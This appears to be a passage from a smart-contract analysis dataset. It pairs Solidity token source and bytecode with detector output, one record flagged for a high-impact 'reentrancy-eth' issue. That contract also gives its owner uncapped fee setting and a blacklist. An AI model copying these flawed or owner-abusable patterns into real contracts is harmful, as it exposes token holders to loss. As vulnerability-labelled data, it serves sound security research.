uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610517578063dd62ed3e1461052d578063ea1644d514610573578063f2fde38b1461059357600080fd5b8063a9059cbb14610492578063bfd79284146104b2578063c3c8cd80146104e2578063c492f046146104f757600080fd5b80638f9a55c0116100d15780638f9a55c01461043c57806395d89b41146101fe57806398a5c31514610452578063a2a957bb1461047257600080fd5b80637d1db4a5146103e85780638da5cb5b146103fe5780638f70ccf71461041c57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037e57806370a0823114610393578063715018a6146103b357806374010ece146103c857600080fd5b8063313ce5671461030257806349bd5a5e1461031e5780636b9990531461033e5780636d8aa8f81461035e57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cc5780632fd689e3146102ec57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f73660046119d4565b6105b3565b005b34801561020a57600080fd5b50604080518082018252600881526726a7a7a729a7a7a760c11b602082015290516102359190611a99565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611aee565b610652565b6040519015158152602001610235565b34801561027a57600080fd5b5060155461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50683635c9adc5dea000005b604051908152602001610235565b3480156102d857600080fd5b5061025e6102e7366004611b1a565b610669565b3480156102f857600080fd5b506102be60195481565b34801561030e57600080fd5b5060405160098152602001610235565b34801561032a57600080fd5b5060165461028e906001600160a01b031681565b34801561034a57600080fd5b506101fc610359366004611b5b565b6106d2565b34801561036a57600080fd5b506101fc610379366004611b88565b61071d565b34801561038a57600080fd5b506101fc610765565b34801561039f57600080fd5b506102be6103ae366004611b5b565b6107b0565b3480156103bf57600080fd5b506101fc6107d2565b3480156103d457600080fd5b506101fc6103e3366004611ba3565b610846565b3480156103f457600080fd5b506102be60175481565b34801561040a57600080fd5b506000546001600160a01b031661028e565b34801561042857600080fd5b506101fc610437366004611b88565b610875565b34801561044857600080fd5b506102be60185481565b34801561045e57600080fd5b506101fc61046d366004611ba3565b6108c2565b34801561047e57600080fd5b506101fc61048d366004611bbc565b6108f1565b34801561049e57600080fd5b5061025e6104ad366004611aee565b61092f565b3480156104be57600080fd5b5061025e6104cd366004611b5b565b60116020526000908152604090205460ff1681565b3480156104ee57600080fd5b506101fc61093c565b34801561050357600080fd5b506101fc610512366004611bee565b610990565b34801561052357600080fd5b506102be60085481565b34801561053957600080fd5b506102be610548366004611c72565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057f57600080fd5b506101fc61058e366004611ba3565b610a31565b34801561059f57600080fd5b506101fc6105ae366004611b5b565b610a60565b6000546001600160a01b031633146105e65760405162461bcd60e51b81526004016105dd90611cab565b60405180910390fd5b60005b815181101561064e5760016011600084848151811061060a5761060a611ce0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061064681611d0c565b9150506105e9565b5050565b600061065f338484610b4a565b5060015b92915050565b6000610676848484610c6e565b6106c884336106c385604051806060016040528060288152602001611e24602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611221565b610b4a565b5060019392505050565b6000546001600160a01b031633146106fc5760405162461bcd60e51b81526004016105dd90611cab565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107475760405162461bcd60e51b81526004016105dd90611cab565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b0316148061079a57506014546001600160a01b0316336001600160a01b0316145b6107a357600080fd5b476107ad8161125b565b50565b6001600160a01b038116600090815260026020526040812054610663906112e0565b6000546001600160a01b031633146107fc5760405162461bcd60e51b81526004016105dd90611cab565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108705760405162461bcd60e51b81526004016105dd90611cab565b601755565b6000546001600160a01b0316331461089f5760405162461bcd60e51b81526004016105dd90611cab565b60168054911515600160a01b0260ff60a01b199092169190911790556003600855565b6000546001600160a01b031633146108ec5760405162461bcd60e51b81526004016105dd90611cab565b601955565b6000546001600160a01b0316331461091b5760405162461bcd60e51b81526004016105dd90611cab565b600993909355600b91909155600a55600c55565b600061065f338484610c6e565b6013546001600160a01b0316336001600160a01b0316148061097157506014546001600160a01b0316336001600160a01b0316145b61097a57600080fd5b6000610985306107b0565b90506107ad81611364565b6000546001600160a01b031633146109ba5760405162461bcd60e51b81526004016105dd90611cab565b60005b82811015610a2b5781600560008686858181106109dc576109dc611ce0565b90506020020160208101906109f19190611b5b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2381611d0c565b9150506109bd565b50505050565b6000546001600160a01b03163314610a5b5760405162461bcd60e51b81526004016105dd90611cab565b601855565b6000546001600160a01b03163314610a8a5760405162461bcd60e51b81526004016105dd90611cab565b6001600160a01b038116610aef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105dd565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bac5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105dd565b6001600160a01b038216610c0d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105dd565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105dd565b6001600160a01b038216610d345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105dd565b60008111610d965760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105dd565b6000546001600160a01b03848116911614801590610dc257506000546001600160a01b03838116911614155b1561111a57601654600160a01b900460ff16610e5b576000546001600160a01b03848116911614610e5b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105dd565b601754811115610ead5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105dd565b6001600160a01b03831660009081526011602052604090205460ff16158015610eef57506001600160a01b03821660009081526011602052604090205460ff16155b610f475760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105dd565b6008544311158015610f6657506016546001600160a01b038481169116145b8015610f8057506015546001600160a01b03838116911614155b8015610f9557506001600160a01b0382163014155b15610fbe576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110435760185481610fe0846107b0565b610fea9190611d25565b106110435760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105dd565b600061104e306107b0565b6019546017549192508210159082106110675760175491505b80801561107e5750601654600160a81b900460ff16155b801561109857506016546001600160a01b03868116911614155b80156110ad5750601654600160b01b900460ff165b80156110d257506001600160a01b03851660009081526005602052604090205460ff16155b80156110f757506001600160a01b03841660009081526005602052604090205460ff16155b156111175761110582611364565b478015611115576111154761125b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061115c57506001600160a01b03831660009081526005602052604090205460ff165b8061118e57506016546001600160a01b0385811691161480159061118e57506016546001600160a01b03848116911614155b1561119b57506000611215565b6016546001600160a01b0385811691161480156111c657506015546001600160a01b03848116911614155b156111d857600954600d55600a54600e555b6016546001600160a01b03848116911614801561120357506015546001600160a01b03858116911614155b1561121557600b54600d55600c54600e555b610a2b848484846114de565b600081848411156112455760405162461bcd60e51b81526004016105dd9190611a99565b5060006112528486611d3d565b95945050505050565b6013546001600160a01b03166108fc61127583600261150c565b6040518115909202916000818181858888f1935050505015801561129d573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112b883600261150c565b6040518115909202916000818181858888f1935050505015801561064e573d6000803e3d6000fd5b60006006548211156113475760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105dd565b600061135161154e565b905061135d838261150c565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ac576113ac611ce0565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611405573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114299190611d54565b8160018151811061143c5761143c611ce0565b6001600160a01b0392831660209182029290920101526015546114629130911684610b4a565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061149b908590600090869030904290600401611d71565b600060405180830381600087803b1580156114b557600080fd5b505af11580156114c9573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b806114eb576114eb611571565b6114f684848461159f565b80610a2b57610a2b600f54600d55601054600e55565b600061135d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611696565b600080600061155b6116c4565b909250905061156a828261150c565b9250505090565b600d541580156115815750600e54155b1561158857565b600d8054600f55600e805460105560009182905555565b6000806000806000806115b187611706565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115e39087611763565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461161290866117a5565b6001600160a01b03891660009081526002602052604090205561163481611804565b61163e848361184e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161168391815260200190565b60405180910390a3505050505050505050565b600081836116b75760405162461bcd60e51b81526004016105dd9190611a99565b5060006112528486611de2565b6006546000908190683635c9adc5dea000006116e0828261150c565b8210156116fd57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117238a600d54600e54611872565b925092509250600061173361154e565b905060008060006117468e8787876118c7565b919e509c509a509598509396509194505050505091939550919395565b600061135d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611221565b6000806117b28385611d25565b90508381101561135d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105dd565b600061180e61154e565b9050600061181c8383611917565b3060009081526002602052604090205490915061183990826117a5565b30600090815260026020526040902055505050565b60065461185b9083611763565b60065560075461186b90826117a5565b6007555050565b600080808061188c60646118868989611917565b9061150c565b9050600061189f60646118868a89611917565b905060006118b7826118b18b86611763565b90611763565b9992985090965090945050505050565b60008080806118d68886611917565b905060006118e48887611917565b905060006118f28888611917565b90506000611904826118b18686611763565b939b939a50919850919650505050505050565b60008260000361192957506000610663565b60006119358385611e04565b9050826119428583611de2565b1461135d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105dd565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ad57600080fd5b80356119cf816119af565b919050565b600060208083850312156119e757600080fd5b823567ffffffffffffffff808211156119ff57600080fd5b818501915085601f830112611a1357600080fd5b813581811115611a2557611a25611999565b8060051b604051601f19603f83011681018181108582111715611a4a57611a4a611999565b604052918252848201925083810185019188831115611a6857600080fd5b938501935b82851015611a8d57611a7e856119c4565b84529385019392850192611a6d565b98975050505050505050565b600060208083528351808285015260005b81811015611ac657858101830151858201604001528201611aaa565b81811115611ad8576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b0157600080fd5b8235611b0c816119af565b946020939093013593505050565b600080600060608486031215611b2f57600080fd5b8335611b3a816119af565b92506020840135611b4a816119af565b929592945050506040919091013590565b600060208284031215611b6d57600080fd5b813561135d816119af565b803580151581146119cf57600080fd5b600060208284031215611b9a57600080fd5b61135d82611b78565b600060208284031215611bb557600080fd5b5035919050565b60008060008060808587031215611bd257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c0357600080fd5b833567ffffffffffffffff80821115611c1b57600080fd5b818601915086601f830112611c2f57600080fd5b813581811115611c3e57600080fd5b8760208260051b8501011115611c5357600080fd5b602092830195509350611c699186019050611b78565b90509250925092565b60008060408385031215611c8557600080fd5b8235611c90816119af565b91506020830135611ca0816119af565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611d1e57611d1e611cf6565b5060010190565b60008219821115611d3857611d38611cf6565b500190565b600082821015611d4f57611d4f611cf6565b500390565b600060208284031215611d6657600080fd5b815161135d816119af565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611dc15784516001600160a01b031683529383019391830191600101611d9c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611dff57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e1e57611e1e611cf6565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201fc0288e6cabeb8c585a9289ed96301d3d31038d6b7c5b0fd182213ed4ed85d864736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 381 |
0x9a35088f87bcb14860b4a24fd7f53f1624b0a389 | pragma solidity >=0.4.22 <0.6.0;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; }
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable{
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract ERC20Token{
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(uint256 initialSupply,string memory tokenName,string memory tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
contract OCLIToken is ERC20Token, Ownable,Pausable{
mapping (address => bool) public frozenAccount;
mapping(address => uint256) public lockedAccount;
event FreezeAccount(address account, bool frozen);
event LockAccount(address account,uint256 unlockTime);
constructor() ERC20Token(3000000000,"OCLI","OCLI") public {
}
/**
* Freeze Account
*/
function freezeAccount(address account) onlyOwner public {
frozenAccount[account] = true;
emit FreezeAccount(account, true);
}
/**
* unFreeze Account
*/
function unFreezeAccount(address account) onlyOwner public{
frozenAccount[account] = false;
emit FreezeAccount(account, false);
}
/**
* lock Account, if account is locked, fund can only transfer in but not transfer out.
* Can not unlockAccount, if need unlock account , pls call unlockAccount interface
*/
function lockAccount(address account, uint256 unlockTime) onlyOwner public{
require(unlockTime > now);
lockedAccount[account] = unlockTime;
emit LockAccount(account,unlockTime);
}
/**
* unlock Account
*/
function unlockAccount(address account) onlyOwner public{
lockedAccount[account] = 0;
emit LockAccount(account,0);
}
function changeName(string memory newName) public onlyOwner {
name = newName;
}
function changeSymbol(string memory newSymbol) public onlyOwner{
symbol = newSymbol;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal whenNotPaused {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
//if account is frozen, then fund can not be transfer in or out.
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
//if account is locked, then fund can only transfer in but can not transfer out.
require(!isAccountLocked(_from));
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
function isAccountLocked(address account) public view returns (bool) {
return lockedAccount[account] > now;
}
function isAccountFrozen(address account) public view returns (bool){
return frozenAccount[account];
}
} | 0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c806379cc679011610104578063a9059cbb116100a2578063dd62ed3e11610071578063dd62ed3e14610a77578063e816d97f14610aef578063f26c159f14610b4b578063f2fde38b14610b8f576101cf565b8063a9059cbb1461086a578063b414d4b6146108d0578063bf620a451461092c578063cae9ca511461097a576101cf565b80638f32d59b116100de5780638f32d59b146106c6578063905295e3146106e857806395d89b411461072c578063a3895fff146107af576101cf565b806379cc67901461060c5780638456cb59146106725780638da5cb5b1461067c576101cf565b80635353a2d81161017157806370a082311161014b57806370a08231146104f6578063715018a61461054e578063718ccce91461055857806374eb9b68146105b0576101cf565b80635353a2d8146103d557806353cc2fae146104905780635c975abb146104d4576101cf565b806323b872dd116101ad57806323b872dd146102db578063313ce567146103615780633f4ba83a1461038557806342966c681461038f576101cf565b806306fdde03146101d4578063095ea7b31461025757806318160ddd146102bd575b600080fd5b6101dc610bd3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561021c578082015181840152602081019050610201565b50505050905090810190601f1680156102495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102a36004803603604081101561026d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c71565b604051808215151515815260200191505060405180910390f35b6102c5610d63565b6040518082815260200191505060405180910390f35b610347600480360360608110156102f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d69565b604051808215151515815260200191505060405180910390f35b610369610e90565b604051808260ff1660ff16815260200191505060405180910390f35b61038d610ea3565b005b6103bb600480360360208110156103a557600080fd5b8101908080359060200190929190505050610f4d565b604051808215151515815260200191505060405180910390f35b61048e600480360360208110156103eb57600080fd5b810190808035906020019064010000000081111561040857600080fd5b82018360208201111561041a57600080fd5b8035906020019184600183028401116401000000008311171561043c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611056565b005b6104d2600480360360208110156104a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611081565b005b6104dc61115d565b604051808215151515815260200191505060405180910390f35b6105386004803603602081101561050c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611174565b6040518082815260200191505060405180910390f35b61055661118c565b005b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061125e565b6040518082815260200191505060405180910390f35b6105f2600480360360208110156105c657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611276565b604051808215151515815260200191505060405180910390f35b6106586004803603604081101561062257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112c1565b604051808215151515815260200191505060405180910390f35b61067a6114da565b005b610684611585565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106ce6115af565b604051808215151515815260200191505060405180910390f35b61072a600480360360208110156106fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611607565b005b6107346116cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610774578082015181840152602081019050610759565b50505050905090810190601f1680156107a15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610868600480360360208110156107c557600080fd5b81019080803590602001906401000000008111156107e257600080fd5b8201836020820111156107f457600080fd5b8035906020019184600183028401116401000000008311171561081657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061176a565b005b6108b66004803603604081101561088057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611795565b604051808215151515815260200191505060405180910390f35b610912600480360360208110156108e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117ac565b604051808215151515815260200191505060405180910390f35b6109786004803603604081101561094257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117cc565b005b610a5d6004803603606081101561099057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156109d757600080fd5b8201836020820111156109e957600080fd5b80359060200191846001830284011164010000000083111715610a0b57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061189c565b604051808215151515815260200191505060405180910390f35b610ad960048036036040811015610a8d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a04565b6040518082815260200191505060405180910390f35b610b3160048036036020811015610b0557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a29565b604051808215151515815260200191505060405180910390f35b610b8d60048036036020811015610b6157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a7f565b005b610bd160048036036020811015610ba557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b5b565b005b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c695780601f10610c3e57610100808354040283529160200191610c69565b820191906000526020600020905b815481529060010190602001808311610c4c57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffff